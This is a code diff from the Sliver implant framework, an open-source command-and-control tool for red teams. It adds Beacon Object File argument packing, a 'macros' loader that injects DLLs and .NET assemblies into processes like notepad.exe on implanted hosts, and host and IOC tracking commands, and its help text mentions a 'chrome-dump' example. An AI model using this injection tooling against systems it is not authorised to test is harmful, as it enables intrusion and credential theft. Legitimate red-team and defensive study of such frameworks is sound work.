-		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
-		con.SpinUntil(msg, ctrl)
-		sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
-			Request:     con.ActiveSession.Request(ctx),
-			Args:        extArgs,
-			Data:        binData,
-			EntryPoint:  entryPoint,
-			ProcessName: processName,
-			Kill:        true,
-			IsDLL:       isDLL,
-		})
-		ctrl <- true
-		<-ctrl
-
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-
-		con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
+		// Regular DLL
+		extArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
+		extensionArgs = []byte(extArgs)
+		extName = ext.Name
+		entryPoint = ext.Entrypoint
+	}
+	ctrl := make(chan bool)
+	msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
+	con.SpinUntil(msg, ctrl)
+	callExtension, err = con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
+		Name:    extName,
+		Export:  entryPoint,
+		Args:    extensionArgs,
+		Request: con.ActiveSession.Request(ctx),
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("Error: %s\n", err.Error())
+		return
+	}
+	if callExtension.Response != nil && callExtension.Response.Err != "" {
+		con.PrintErrorf("Error: %s\n", callExtension.Response.Err)
+		return
+	}
+	con.PrintInfof("Successfully executed %s\n", extName)
+	if len(callExtension.Output) > 0 {
+		con.PrintInfof("Got output:\n%s", string(callExtension.Output))
 		if outFilePath != nil {
-			outFilePath.Write([]byte(sideloadResp.GetResult()))
+			outFilePath.Write(callExtension.Output)
 			con.PrintInfof("Output saved to %s\n", outFilePath.Name())
 		}
 	}
 }
 
+func getBOFArgs(ctx *grumble.Context, binPath string, ext extensionCommand) ([]byte, error) {
+	var extensionArgs []byte
+	binData, err := ioutil.ReadFile(binPath)
+	if err != nil {
+		return nil, err
+	}
+	argsBuffer := BOFArgsBuffer{
+		Buffer: new(bytes.Buffer),
+	}
+	// Parse BOF arguments from grumble
+	for _, arg := range ext.Arguments {
+		switch arg.Type {
+		case "int":
+			val := ctx.Args.Int(arg.Name)
+			err = argsBuffer.AddInt(uint32(val))
+			if err != nil {
+				return nil, err
+			}
+		case "short":
+			val := ctx.Args.Int(arg.Name)
+			err = argsBuffer.AddShort(uint16(val))
+			if err != nil {
+				return nil, err
+			}
+		case "string":
+			val := ctx.Args.String(arg.Name)
+			err = argsBuffer.AddString(val)
+			if err != nil {
+				return nil, err
+			}
+		case "wstring":
+			val := ctx.Args.String(arg.Name)
+			err = argsBuffer.AddWString(val)
+			if err != nil {
+				return nil, err
+			}
+		// Adding support for filepaths so we can
+		// send binary data like shellcodes to BOFs
+		case "file":
+			val := ctx.Args.String(arg.Name)
+			data, err := ioutil.ReadFile(val)
+			if err != nil {
+				return nil, err
+			}
+			err = argsBuffer.AddData(data)
+			if err != nil {
+				return nil, err
+			}
+		}
+	}
+	parsedArgs, err := argsBuffer.GetBuffer()
+	if err != nil {
+		return nil, err
+	}
+	// Now build the extension's argument buffer
+	extensionArgsBuffer := BOFArgsBuffer{
+		Buffer: new(bytes.Buffer),
+	}
+	err = extensionArgsBuffer.AddString(ext.Entrypoint)
+	if err != nil {
+		return nil, err
+	}
+	err = extensionArgsBuffer.AddData(binData)
+	if err != nil {
+		return nil, err
+	}
+	err = extensionArgsBuffer.AddData(parsedArgs)
+	if err != nil {
+		return nil, err
+	}
+	extensionArgs, err = extensionArgsBuffer.GetBuffer()
+	if err != nil {
+		return nil, err
+	}
+	return extensionArgs, nil
+
+}
+
 func cmdExists(name string, app *grumble.App) bool {
 	for _, c := range app.Commands().All() {
 		if name == c.Name {
@@ -335,5 +462,66 @@ func cmdExists(name string, app *grumble.App) bool {
 }
 
 func init() {
-	commandMap = make(map[string]extension)
+	commandMap = make(map[string]extensionCommand)
+}
+
+// BOF Specific code
+
+type BOFArgsBuffer struct {
+	Buffer *bytes.Buffer
+}
+
+func (b *BOFArgsBuffer) AddData(d []byte) error {
+	dataLen := uint32(len(d))
+	err := binary.Write(b.Buffer, binary.LittleEndian, &dataLen)
+	if err != nil {
+		return err
+	}
+	return binary.Write(b.Buffer, binary.LittleEndian, &d)
+}
+
+func (b *BOFArgsBuffer) AddShort(d uint16) error {
+	return binary.Write(b.Buffer, binary.LittleEndian, &d)
+}
+
+func (b *BOFArgsBuffer) AddInt(d uint32) error {
+	return binary.Write(b.Buffer, binary.LittleEndian, &d)
+}
+
+func (b *BOFArgsBuffer) AddString(d string) error {
+	stringLen := uint32(len(d)) + 1
+	err := binary.Write(b.Buffer, binary.LittleEndian, &stringLen)
+	if err != nil {
+		return err
+	}
+	dBytes := append([]byte(d), 0x00)
+	return binary.Write(b.Buffer, binary.LittleEndian, dBytes)
+}
+
+func (b *BOFArgsBuffer) AddWString(d string) error {
+	encoder := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder()
+	strBytes := append([]byte(d), 0x00)
+	utf16Data, err := encoder.Bytes(strBytes)
+	if err != nil {
+		return err
+	}
+	stringLen := uint32(len(utf16Data))
+	err = binary.Write(b.Buffer, binary.LittleEndian, &stringLen)
+	if err != nil {
+		return err
+	}
+	return binary.Write(b.Buffer, binary.LittleEndian, utf16Data)
+}
+
+func (b *BOFArgsBuffer) GetBuffer() ([]byte, error) {
+	outBuffer := new(bytes.Buffer)
+	err := binary.Write(outBuffer, binary.LittleEndian, uint32(b.Buffer.Len()))
+	if err != nil {
+		return nil, err
+	}
+	err = binary.Write(outBuffer, binary.LittleEndian, b.Buffer.Bytes())
+	if err != nil {
+		return nil, err
+	}
+	return outBuffer.Bytes(), nil
 }

client/command/filesystem/upload.go

@@ -41,6 +41,7 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 	localPath := ctx.Args.String("local-path")
 	remotePath := ctx.Args.String("remote-path")
+	isIOC := ctx.Flags.Bool("ioc")
 
 	if localPath == "" {
 		con.PrintErrorf("Missing parameter, see `help upload`\n")
@@ -70,6 +71,7 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		Path:    dst,
 		Data:    uploadGzip,
 		Encoder: "gzip",
+		IsIOC:   isIOC,
 	})
 	ctrl <- true
 	<-ctrl

client/command/help/help.go

@@ -50,7 +50,7 @@ func printHelp(con *console.SliverConsoleClient) {
 				continue
 			}
 		} else {
-			if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.ExtensionHelpGroup {
+			if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.MacroHelpGroup || key == consts.ExtensionHelpGroup {
 				continue
 			}
 		}

client/command/help/long-help.go

@@ -71,7 +71,7 @@ var (
 		consts.MigrateStr:          migrateHelp,
 		consts.SideloadStr:         sideloadHelp,
 		consts.TerminateStr:        terminateHelp,
-		consts.LoadExtensionStr:    loadExtensionHelp,
+		consts.LoadMacroStr:        loadMacrosHelp,
 		consts.PsExecStr:           psExecHelp,
 		consts.BackdoorStr:         backdoorHelp,
 		consts.SpawnDllStr:         spawnDllHelp,
@@ -89,6 +89,7 @@ var (
 		consts.WgSocksStr:                   wgSocksHelp,
 		consts.SSHStr:                       sshHelp,
 		consts.DLLHijackStr:                 dllHijackHelp,
+		consts.GetPrivsStr:                  getPrivsHelp,
 
 		// Loot
 		consts.LootStr: lootHelp,
@@ -345,21 +346,21 @@ Parameters to the Linux and MacOS shared module are passed using the [[.Bold]]LD
 	screenshotHelp = `[[.Bold]]Command:[[.Normal]] screenshot
 [[.Bold]]About:[[.Normal]] Take a screenshot from the remote implant.
 `
-	loadExtensionHelp = `[[.Bold]]Command:[[.Normal]] load-extension <directory path> 
-[[.Bold]]About:[[.Normal]] Load a Sliver extension to add new commands.
-Extensions are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
-For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the extension file is a reflective DLL or not.
-Load an extension:
+	loadMacrosHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path> 
+[[.Bold]]About:[[.Normal]] Load a Sliver macro to add new commands.
+Macros are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
+For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the macro file is a reflective DLL or not.
+Load an macro:
 	load /tmp/chrome-dump
-Sliver extensions have the following structure (example for the [[.Bold]]chrome-dump[[.Normal]] extension):
+Sliver macros have the following structure (example for the [[.Bold]]chrome-dump[[.Normal]] macro):
 chrome-dump
 ├── chrome-dump.dll
 ├── chrome-dump.so
 └── manifest.json
 It is a directory containing any number of files, with a mandatory [[.Bold]]manifest.json[[.Normal]], that has the following structure:
 {
-  "extensionName":"chrome-dump", // name of the extension, can be anything
-  "extensionCommands":[
+  "macroName":"chrome-dump", // name of the macro, can be anything
+  "macroCommands":[
     {
       "name":"chrome-dump", // name of the command available in the sliver client (no space)
       "entrypoint":"ChromeDump", // entrypoint of the shared library to execute
@@ -371,7 +372,7 @@ It is a directory containing any number of files, with a mandatory [[.Bold]]mani
 		  "os":"windows", // Target OS for the following files. Values can be "windows", "linux" or "darwin"
           "files":{
             "x64":"chrome-dump.dll",
-            "x86":"chrome-dump.x86.dll" // only x86 and x64 arch are supported, path is relative to the extension directory
+            "x86":"chrome-dump.x86.dll" // only x86 and x64 arch are supported, path is relative to the macro directory
           }
         },
         {
@@ -558,7 +559,10 @@ loot fetch
 `
 
 	reactionHelp = fmt.Sprintf(`[[.Bold]]Command:[[.Normal]] reaction
-[[.Bold]]About:[[.Normal]] Automate commands in reaction to event(s).
+[[.Bold]]About:[[.Normal]] Automate commands in reaction to event(s). The built-in
+reactions do not support variables or logic, they simply allow you to run verbatim
+commands when an event occurs. To implement complex event-based logic we recommend
+using SliverPy (Python) or sliver-script (TypeScript/JavaScript).
 
 [[.Bold]]Reactable Events:[[.Normal]]
 % 20s  Triggered when a new session is opened to a target
@@ -579,7 +583,11 @@ loot fetch
 	)
 
 	reactionSetHelp = fmt.Sprintf(`[[.Bold]]Command:[[.Normal]] reaction set
-[[.Bold]]About:[[.Normal]] Set automated commands in reaction to event(s).
+[[.Bold]]About:[[.Normal]] Set automated commands in reaction to event(s).  
+
+The built-in reactions do not support variables or logic, they simply allow you to 
+run verbatim commands when an event occurs. To implement complex event-based logic 
+we recommend using SliverPy (Python) or sliver-script (TypeScript/JavaScript).
 
 [[.Bold]]Examples:[[.Normal]]
 # The command uses interactive menus to build a reaction. Simply run:

client/command/hosts/README.md

@@ -0,0 +1,4 @@
+Hosts
+======
+
+Command to access and manage host information.

client/command/hosts/hosts-ioc-rm.go

@@ -0,0 +1,46 @@
+package hosts
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/desertbit/grumble"
+)
+
+// HostsIOCRmCmd - Remove a host from the database
+func HostsIOCRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	host, err := SelectHost(con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	ioc, err := SelectHostIOC(host, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	_, err = con.Rpc.HostIOCRm(context.Background(), ioc)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	con.PrintInfof("Removed host from database\n")
+}

client/command/hosts/hosts-ioc.go

@@ -0,0 +1,107 @@
+package hosts
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bytes"
+	"fmt"
+	"sort"
+	"strings"
+	"text/tabwriter"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
+)
+
+// HostsIOCCmd - Remove a host from the database
+func HostsIOCCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	host, err := SelectHost(con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if 0 < len(host.IOCs) {
+		con.Printf("%s\n", hostIOCsTable(host, con))
+	} else {
+		con.Println()
+		con.PrintInfof("No IOCs tracked on host\n")
+	}
+}
+
+func hostIOCsTable(host *clientpb.Host, con *console.SliverConsoleClient) string {
+	tw := table.NewWriter()
+	tw.SetStyle(table.StyleBold)
+	tw.AppendHeader(table.Row{"File Path", "SHA-256"})
+	for _, ioc := range host.IOCs {
+		tw.AppendRow(table.Row{
+			ioc.Path,
+			ioc.FileHash,
+		})
+	}
+	return tw.Render()
+}
+
+func SelectHostIOC(host *clientpb.Host, con *console.SliverConsoleClient) (*clientpb.IOC, error) {
+
+	// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
+	// to work properly since we rely on the index of the user's selection to find the session in the map
+	var keys []string
+	var iocMap = make(map[string]*clientpb.IOC)
+	for _, ioc := range host.IOCs {
+		keys = append(keys, ioc.ID)
+		iocMap[ioc.ID] = ioc
+	}
+	sort.Strings(keys)
+
+	outputBuf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+
+	// Column Headers
+	for _, key := range keys {
+		ioc := iocMap[key]
+		fmt.Fprintf(table, "%s\t%s\t\n",
+			ioc.Path,
+			ioc.FileHash,
+		)
+	}
+	table.Flush()
+
+	options := strings.Split(outputBuf.String(), "\n")
+	options = options[:len(options)-1] // Remove the last empty option
+	prompt := &survey.Select{
+		Message: "Select an IOC:",
+		Options: options,
+	}
+	selected := ""
+	survey.AskOne(prompt, &selected)
+	if selected == "" {
+		return nil, ErrNoSelection
+	}
+
+	// Go from the selected option -> index -> host
+	for index, option := range options {
+		if option == selected {
+			return iocMap[keys[index]], nil
+		}
+	}
+	return nil, ErrNoSelection
+}

client/command/hosts/hosts-rm.go

@@ -0,0 +1,41 @@
+package hosts
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/desertbit/grumble"
+)
+
+// HostsRmCmd - Remove a host from the database
+func HostsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	host, err := SelectHost(con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	_, err = con.Rpc.HostRm(context.Background(), host)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	con.PrintInfof("Removed host from database\n")
+}

client/command/hosts/hosts.go

@@ -0,0 +1,164 @@
+package hosts
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bytes"
+	"context"
+	"errors"
+	"fmt"
+	"sort"
+	"strings"
+	"text/tabwriter"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/desertbit/grumble"
+
+	"github.com/jedib0t/go-pretty/v6/table"
+)
+
+var (
+	// ErrNoHosts - No hosts in database
+	ErrNoHosts = errors.New("no hosts")
+	// ErrNoSelection - No selection made
+	ErrNoSelection = errors.New("no selection")
+)
+
+// HostsCmd - Main hosts command
+func HostsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	allHosts, err := con.Rpc.Hosts(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s", err)
+		return
+	}
+	if 0 < len(allHosts.Hosts) {
+		con.Printf("%s\n", hostsTable(allHosts.Hosts, con))
+	} else {
+		con.PrintInfof("No hosts\n")
+	}
+}
+
+func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string {
+	tw := table.NewWriter()
+	tw.SetStyle(table.StyleLight)
+	tw.AppendHeader(table.Row{
+		"Hostname",
+		"Operating System",
+		"Sessions",
+		"IOCs",
+		"Extension Data",
+		"ID (Short)",
+	})
+	for _, host := range hosts {
+		var shortID string
+		if len(host.HostUUID) < 8 {
+			shortID = host.HostUUID[:len(host.HostUUID)]
+		} else {
+			shortID = host.HostUUID[:8]
+		}
+		tw.AppendRow(table.Row{
+			host.Hostname,
+			host.OSVersion,
+			hostSessionNumbers(host.HostUUID, con),
+			len(host.IOCs),
+			len(host.ExtensionData),
+			shortID,
+		})
+	}
+	return tw.Render()
+}
+
+func hostSessionNumbers(hostUUID string, con *console.SliverConsoleClient) string {
+	hostSessions := SessionsForHost(hostUUID, con)
+	if 0 == len(hostSessions) {
+		return "None"
+	}
+	sessionNumbers := []string{}
+	for _, hostSession := range hostSessions {
+		sessionNumbers = append(sessionNumbers, fmt.Sprintf("%d", hostSession.ID))
+	}
+	return strings.Join(sessionNumbers, ", ")
+}
+
+func SessionsForHost(hostUUID string, con *console.SliverConsoleClient) []*clientpb.Session {
+	sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		return []*clientpb.Session{}
+	}
+	hostSessions := []*clientpb.Session{}
+	for _, session := range sessions.Sessions {
+		if session.UUID == hostUUID {
+			hostSessions = append(hostSessions, session)
+		}
+	}
+	return hostSessions
+}
+
+// SelectHost - Interactively select a host from the database
+func SelectHost(con *console.SliverConsoleClient) (*clientpb.Host, error) {
+	allHosts, err := con.Rpc.Hosts(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		return nil, err
+	}
+	// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
+	// to work properly since we rely on the index of the user's selection to find the session in the map
+	var keys []string
+	var hostMap = make(map[string]*clientpb.Host)
+	for _, host := range allHosts.Hosts {
+		keys = append(keys, host.HostUUID)
+		hostMap[host.HostUUID] = host
+	}
+	sort.Strings(keys)
+
+	outputBuf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+
+	// Column Headers
+	for _, key := range keys {
+		host := hostMap[key]
+		fmt.Fprintf(table, "%s\t%s\t\n",
+			host.Hostname,
+			host.OSVersion,
+		)
+	}
+	table.Flush()
+
+	options := strings.Split(outputBuf.String(), "\n")
+	options = options[:len(options)-1] // Remove the last empty option
+	prompt := &survey.Select{
+		Message: "Select a host:",
+		Options: options,
+	}
+	selected := ""
+	survey.AskOne(prompt, &selected)
+	if selected == "" {
+		return nil, ErrNoSelection
+	}
+
+	// Go from the selected option -> index -> host
+	for index, option := range options {
+		if option == selected {
+			return hostMap[keys[index]], nil
+		}
+	}
+	return nil, ErrNoSelection
+}

client/command/macros/README.md

@@ -0,0 +1,4 @@
+Extensions
+===========
+
+Wraps external DLLs/tool in Sliver console commands.

client/command/macros/load.go

@@ -0,0 +1,335 @@
+package macros
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"encoding/json"
+	"fmt"
+	"io/ioutil"
+	"os"
+	"path"
+	"path/filepath"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/command/help"
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+)
+
+const (
+	defaultTimeout = 60
+
+	windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
+	linuxDefaultHostProc   = "/bin/bash"
+	macosDefaultHostProc   = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
+)
+
+var commandMap map[string]macro
+var defaultHostProc = map[string]string{
+	"windows": windowsDefaultHostProc,
+	"linux":   windowsDefaultHostProc,
+	"darwin":  macosDefaultHostProc,
+}
+
+type binFiles struct {
+	Ext64Path string `json:"x64"`
+	Ext32Path string `json:"x86"`
+}
+
+type macroFile struct {
+	OS    string   `json:"os"`
+	Files binFiles `json:"files"`
+}
+
+type macroCommand struct {
+	Name         string      `json:"name"`
+	Entrypoint   string      `json:"entrypoint"`
+	Help         string      `json:"help"`
+	LongHelp     string      `json:"longHelp"`
+	AllowArgs    bool        `json:"allowArgs"`
+	DefaultArgs  string      `json:"defaultArgs"`
+	MacroFiles   []macroFile `json:"extFiles"`
+	IsReflective bool        `json:"isReflective"`
+	IsAssembly   bool        `json:"IsAssembly"`
+}
+
+func (ec *macroCommand) getDefaultProcess(targetOS string) (proc string, err error) {
+	proc, ok := defaultHostProc[targetOS]
+	if !ok {
+		err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
+	}
+	return
+}
+
+type macro struct {
+	Name     string         `json:"macroName"`
+	Commands []macroCommand `json:"macroCommands"`
+	Path     string
+}
+
+func (e *macro) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
+	for _, c := range e.Commands {
+		if cmdName == c.Name {
+			for _, ef := range c.MacroFiles {
+				if targetOS == ef.OS {
+					switch targetArch {
+					case "x86":
+						filePath = filepath.Join(e.Path, ef.Files.Ext32Path)
+					case "x64":
+						filePath = filepath.Join(e.Path, ef.Files.Ext64Path)
+					default:
+						filePath = filepath.Join(e.Path, ef.Files.Ext64Path)
+					}
+				}
+			}
+
+		}
+	}
+	if filePath == "" {
+		err = fmt.Errorf("no macro file found for %s/%s", targetOS, targetArch)
+	}
+	return
+}
+
+func (e *macro) getCommandFromName(name string) (extCmd *macroCommand, err error) {
+	for _, x := range e.Commands {
+		if x.Name == name {
+			extCmd = &x
+			return
+		}
+	}
+	err = fmt.Errorf("no macro command found for name %s", name)
+	return
+}
+
+// LoadMacroCmd - Locally load a macro into the Sliver shell.
+func LoadMacroCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+
+	dirPath := ctx.Args.String("dir-path")
+
+	// retrieve macro manifest
+	manifestPath := fmt.Sprintf("%s/%s", dirPath, "manifest.json")
+	jsonBytes, err := ioutil.ReadFile(manifestPath)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+	}
+	// parse it
+	ext := &macro{}
+	err = json.Unmarshal(jsonBytes, ext)
+	if err != nil {
+		con.PrintErrorf("Error loading macro: %v", err)
+		return
+	}
+	ext.Path = dirPath
+	// for each macro command, add a new app command
+	for _, extCmd := range ext.Commands {
+		// do not add if the command already exists
+		if cmdExists(extCmd.Name, ctx.App) {
+			con.PrintErrorf("%s command already exists\n", extCmd.Name)
+			return
+		}
+		con.PrintInfof("Adding %s command: %s\n", extCmd.Name, extCmd.Help)
+
+		// Have to use a global map here, as passing the extCmd
+		// either by value or by ref fucks things up
+		commandMap[extCmd.Name] = *ext
+		helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
+		macroCmd := &grumble.Command{
+			Name:     extCmd.Name,
+			Help:     helpMsg,
+			LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
+			Run: func(extCtx *grumble.Context) error {
+				con.Println()
+				runMacroCommand(extCtx, con)
+				con.Println()
+				return nil
+			},
+			Flags: func(f *grumble.Flags) {
+				if extCmd.IsAssembly {
+					f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
+					f.String("c", "class", "", "Optional class name (required for .NET DLL)")
+					f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
+					f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
+				}
+				f.String("p", "process", "", "Path to process to host the shared object")
+				f.Bool("s", "save", false, "Save output to disk")
+				f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+			},
+			Args: func(a *grumble.Args) {
+				a.StringList("arguments", "arguments", grumble.Default([]string{}))
+			},
+			HelpGroup: consts.MacroHelpGroup,
+		}
+		con.App.AddCommand(macroCmd)
+	}
+	con.PrintInfof("%s macro has been loaded\n", ext.Name)
+}
+
+func runMacroCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveSession.GetInteractive()
+	if session == nil {
+		return
+	}
+	ext, ok := commandMap[ctx.Command.Name]
+	if !ok {
+		con.PrintErrorf("No macro command found for `%s` command\n", ctx.Command.Name)
+		return
+	}
+
+	binPath, err := ext.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	c, err := ext.getCommandFromName(ctx.Command.Name)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	args := ctx.Args.StringList("arguments")
+	var extArgs string
+	if len(c.DefaultArgs) != 0 && len(args) == 0 {
+		extArgs = c.DefaultArgs
+	} else {
+		extArgs = strings.Join(args, " ")
+	}
+	entryPoint := c.Entrypoint
+	processName := ctx.Flags.String("process")
+	if processName == "" {
+		processName, err = c.getDefaultProcess(session.GetOS())
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	isDLL := false
+	if filepath.Ext(binPath) == ".dll" {
+		isDLL = true
+	}
+	binData, err := ioutil.ReadFile(binPath)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	var outFilePath *os.File
+	if ctx.Flags.Bool("save") {
+		outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
+		outFilePath, err = ioutil.TempFile("", outFile)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	if c.IsAssembly {
+		ctrl := make(chan bool)
+		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
+		con.SpinUntil(msg, ctrl)
+		executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
+			Request:   con.ActiveSession.Request(ctx),
+			IsDLL:     isDLL,
+			Process:   processName,
+			Arguments: extArgs,
+			Assembly:  binData,
+			Arch:      ctx.Flags.String("arch"),
+			Method:    ctx.Flags.String("method"),
+			ClassName: ctx.Flags.String("class"),
+			AppDomain: ctx.Flags.String("app-domain"),
+		})
+		ctrl <- true
+		<-ctrl
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
+		if outFilePath != nil {
+			outFilePath.Write(executeAssemblyResp.GetOutput())
+			con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+		}
+	} else if c.IsReflective {
+		ctrl := make(chan bool)
+		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
+		con.SpinUntil(msg, ctrl)
+		spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
+			Request:     con.ActiveSession.Request(ctx),
+			Args:        strings.Trim(extArgs, " "),
+			Data:        binData,
+			ProcessName: processName,
+			EntryPoint:  c.Entrypoint,
+			Kill:        true,
+		})
+		ctrl <- true
+		<-ctrl
+
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+
+		con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
+		if outFilePath != nil {
+			outFilePath.Write([]byte(spawnDllResp.GetResult()))
+			con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+		}
+	} else {
+		ctrl := make(chan bool)
+		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
+		con.SpinUntil(msg, ctrl)
